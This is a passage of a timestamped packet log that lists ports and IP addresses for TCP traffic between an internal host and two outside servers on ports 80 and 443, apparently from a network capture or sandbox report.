Oct 28, 2024 02:07:46.794194937 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.794212103 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.794235945 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.794241905 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.794249058 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.794267893 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.794295073 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.794327974 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.794375896 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.794388056 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.794404984 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.794416904 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.794435978 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.794439077 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.794450998 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.794461966 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.794487953 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.794502020 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.794596910 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.794608116 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.794620037 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.794650078 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.794667959 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.794692993 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.794703007 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.794715881 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.794733047 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.794744015 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.794758081 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.794765949 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.794769049 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.794780016 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.794792891 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.794806957 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.794836044 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.794929981 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.794941902 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.794955015 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.794970036 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.794979095 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.795001030 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.795008898 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.795012951 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.795026064 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.795036077 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.795058012 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.795084953 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.795144081 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.795186996 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.795195103 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.795212984 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.795226097 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.795238018 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.795238972 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.795252085 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.795274019 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.795331955 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.795346975 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.795358896 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.795388937 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.795420885 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.831790924 CET	443	49989	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.832988024 CET	49989	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.833041906 CET	443	49989	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.834146023 CET	49989	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.834156990 CET	443	49989	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.851615906 CET	443	49988	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.853091955 CET	49988	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.853120089 CET	443	49988	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.853705883 CET	49988	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.853713036 CET	443	49988	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.856483936 CET	443	49991	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.857112885 CET	49991	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.857156992 CET	443	49991	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.857539892 CET	49991	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.857547998 CET	443	49991	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.858238935 CET	443	49990	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.863205910 CET	49990	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.863215923 CET	443	49990	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.864166975 CET	49990	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.864171982 CET	443	49990	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.867783070 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.867804050 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.867815971 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.867835999 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.867852926 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.867871046 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.867872000 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.867882013 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.867901087 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.867911100 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.867919922 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.867933035 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.867935896 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.867959976 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.867969036 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.867978096 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.867980003 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.868015051 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.868029118 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.868062973 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.868069887 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.868072987 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.868092060 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.868100882 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.868103981 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.868114948 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.868136883 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.868166924 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.868177891 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.868189096 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.868216038 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.868241072 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.868294954 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.868311882 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.868331909 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.868335962 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.868344069 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.868356943 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.868361950 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.868372917 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.868379116 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.868385077 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.868398905 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.868410110 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.868428946 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.868446112 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.868453026 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.868454933 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.868489981 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.868504047 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.868515015 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.868531942 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.868551970 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.868566036 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.868592024 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.868602991 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.868616104 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.868634939 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.868649006 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.868659973 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.868669987 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.868706942 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.879976988 CET	443	49992	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.881387949 CET	49992	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.881396055 CET	443	49992	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.882019043 CET	49992	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.882024050 CET	443	49992	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.909816027 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.909871101 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.909873009 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.909882069 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.909897089 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.909907103 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.909917116 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.909917116 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.909936905 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.909953117 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.909964085 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.909965038 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.909972906 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.909982920 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.909982920 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.909995079 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910005093 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910015106 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.910041094 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.910053015 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910063028 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910073042 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910083055 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910094976 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910103083 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.910104990 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910114050 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910129070 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.910147905 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.910170078 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.910200119 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910209894 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910219908 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910235882 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910243034 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910250902 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.910254002 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910270929 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910284996 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910284996 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.910295963 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910301924 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.910305977 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910316944 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910325050 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.910351992 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.910470963 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910489082 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910499096 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910517931 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.910542011 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.910589933 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910602093 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910614967 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910626888 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910654068 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.910665035 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.910681963 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910718918 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.910787106 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910798073 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910809040 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910820007 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910831928 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910836935 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.910842896 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910854101 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.910865068 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.910887003 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.910911083 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.910995007 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911006927 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911022902 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911027908 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911047935 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.911052942 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911063910 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911079884 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.911113024 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.911122084 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911139965 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911153078 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911164999 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.911164999 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911178112 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911225080 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911231041 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.911231041 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.911264896 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.911274910 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911286116 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911303043 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911320925 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911322117 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.911343098 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911355972 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.911367893 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911386013 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.911406040 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911411047 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.911436081 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911448002 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911480904 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.911514044 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.911530972 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911541939 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911551952 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911556959 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911573887 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.911595106 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.911864996 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911875010 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911886930 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911920071 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.911930084 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.911932945 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911945105 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911956072 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911967039 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911978960 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.911984921 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.911997080 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.912004948 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.912005901 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.912009954 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.912015915 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.912022114 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.912029028 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.912086010 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.912105083 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.912112951 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.912117958 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.912126064 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.912128925 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.912139893 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.912158966 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.912190914 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.961976051 CET	443	49989	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.961999893 CET	443	49989	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.962059975 CET	443	49989	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.962069035 CET	49989	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.962114096 CET	49989	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.967746019 CET	49989	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.967776060 CET	443	49989	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.967792988 CET	49989	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.967801094 CET	443	49989	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.983258963 CET	443	49988	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.983304024 CET	443	49988	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.983365059 CET	49988	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.983378887 CET	443	49988	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.983520031 CET	443	49988	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.983582973 CET	49988	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.984633923 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.984653950 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.984666109 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.984684944 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.984715939 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.984723091 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.984726906 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.984739065 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.984750986 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.984752893 CET	443	49991	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.984764099 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.984770060 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.984793901 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.984817028 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.984822035 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.984833002 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.984843969 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.984863043 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.984879971 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.984885931 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.984915018 CET	443	49991	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.984940052 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.984963894 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.984975100 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.984991074 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.985003948 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.985007048 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.985014915 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.985033035 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.985039949 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.985043049 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.985048056 CET	49991	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.985068083 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.985071898 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.985083103 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.985095978 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.985105038 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.985114098 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.985131979 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.985142946 CET	80	49967	185.215.113.206	192.168.2.6
